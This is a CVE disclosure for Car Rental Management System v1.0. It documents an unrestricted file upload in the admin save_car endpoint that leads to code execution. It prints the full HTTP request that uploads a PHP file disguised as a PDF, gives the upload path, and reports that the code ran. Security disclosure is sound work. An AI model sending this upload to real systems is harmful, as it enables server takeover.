CVE-2022-32019: bug_report/RCE-1.md at main · k0xx11/bug_report

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Car Rental Management System v1.0 has arbitrary code execution (RCE)

vendor: https://www.campcodes.com/projects/php/car-rental-management-system/

Vulnerability url: ip/car-rental-management-system/admin/ajax.php?action=save_car

Request package for file upload：

POST /car-rental-management-system/admin/ajax.php?action=save_car HTTP/1.1 Host: 192.168.1.19 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 X-Requested-With: XMLHttpRequest Referer: http://192.168.1.19/car-rental-management-system/admin/index.php?page=manage_car&id=6 Content-Length: 1107 Content-Type: multipart/form-data; boundary=---------------------------16501296121152 Cookie: PHPSESSID=q0aiu0hqk51vrl4kivubc7u18k Connection: close -----------------------------16501296121152 Content-Disposition: form-data; name="id" 6 -----------------------------16501296121152 Content-Disposition: form-data; name="brand" 1 -----------------------------16501296121152 Content-Disposition: form-data; name="model" 1 -----------------------------16501296121152 Content-Disposition: form-data; name="category_id" 6 -----------------------------16501296121152 Content-Disposition: form-data; name="engine_id" 3 -----------------------------16501296121152 Content-Disposition: form-data; name="transmission_id" 3 -----------------------------16501296121152 Content-Disposition: form-data; name="description" 111 -----------------------------16501296121152 Content-Disposition: form-data; name="price" 10 -----------------------------16501296121152 Content-Disposition: form-data; name="qty" 110 -----------------------------16501296121152 Content-Disposition: form-data; name="img"; filename="shell.php" Content-Type: application/pdf JFJF <?php phpinfo();?> -----------------------------16501296121152–

The files will be uploaded to this directory \admin\assets\uploads\cars_img

We visited the directory of the file in the browser and found that the code had been executed